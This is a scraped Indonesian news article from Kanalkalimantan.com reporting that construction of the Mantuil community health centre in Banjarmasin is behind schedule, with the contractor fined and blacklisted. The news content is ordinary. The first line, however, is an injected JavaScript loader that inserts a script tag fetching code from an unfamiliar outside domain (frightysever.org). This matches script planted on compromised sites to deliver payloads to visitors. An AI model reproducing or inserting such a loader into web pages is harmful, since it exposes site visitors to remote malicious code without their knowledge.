(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pembangunan Puskesmas Mantuil Molor, Kontraktor Didenda dan Diblacklist


KANALKALIMANTAN.COM, BANJARMASIN – Proyek pembangunan Puskesmas Mantuil di pinggiran Kota Banjarmasin, Jalan Teluk Masjid, Mantuil mengalami keterlambatan dari target jadwal pekerjaan.

Pembangunan yang diproyeksikan selesai pada November 2022 tersebut diketahui hingga per 31 Desember 2022 progres baru mencapai 83 persen dan masih dalam proses pengerjaan eksterior dan interior bangunan.

Pantauan Kanalkalimantan.com Selasa (3/1/2023) pagi, sejumlah pekerja masih terlihat mengerjakan beberapa eksterior bangunan yang belum rampung, seperti pengecatan dan lain-lain.

Kepala Bidang Pelayanan dan Sumber Daya Kesehatan Dinas Kesehatan Kota Banjarmasin, Emma Ariesnawati mengatakan, keterlambatan pembangunan disebabkan oleh kurang optimalnya kontraktor pelaksanaan dalam mengerjakan proyek.

 

 

Baca juga: Diwarnai Insiden Ribut, 75 Bangunan Liar dan Warung Jablai di Lianganggang Akhirnya Rata!

Disamping itu akses jalan menuju proyek yang sempit sehingga tidak bisa dilalui truk besar untuk mengangkut material proyek seperti semen cor, sehingga distribusi material banyak dilakukan secara manual.

“Jalan menuju proyek tidak bisa dilalui truk besar untuk mengangkut material bangunan,” katanya.

Lebih lanjut dirinya memaparkan, pengerjaan proyek juga tidak bisa dikerjakan maksimal malam hari karena kerap adanya pasar malam didekat proyek pembangunan Puskesmas.

“Dalam seminggu ada dua malam di sekitar kawasan tersebut digelar pasar malam,” ujar Emma.

Baca juga: Korban Laka, Lelaki ODGJ Ditemukan Terkapar Tak Bernyawa di Jalan Gubernur Soebarjo

Atas keterlambatan tersebut, kontraktor proyek dikenakan sanksi keterlambatan dengan membayar denda 1/1.000 dari nilai kontraktor atau sekitar Rp 3,8 juta perhari.

Sementara itu Wali Kota Banjarmasin, Ibnu Sina turut merespon molornya proyek pembangunan Puskesmas Mantuil tersebut dengan mengatakan, penyedia jasa telah dimasukkan dalam daftar hitam.

“Otomatis kontraktornya diblacklist, tidak boleh ikut lelang proyek lagi,” ujar Ibnu Sina.

Lebih lanjut Ibnu Sina berharap pembanguan Puskesmas Mantuil tersebut bisa dirampungkan kontraktor di awal tahun 2023 ini.

Baca juga: 648 Personel Polda Kalsel Naik Pangkat, Irjen Andi Rian Minta Tingkatkan Kinerja

Agar diketahui proyek pengerjaan rehab proyek Puskesmas Mantuil dikerjakan oleh CV Surya Agung selesai di bulan November 2022.

Proyek yang menggunakan APBD Kota Banjarmasin tahun 2022 tersebut menggunakan anggaran dana Rp 4,3 miliar. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

2 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

15 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

17 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

17 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

19 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

2 hari ago

This website uses cookies.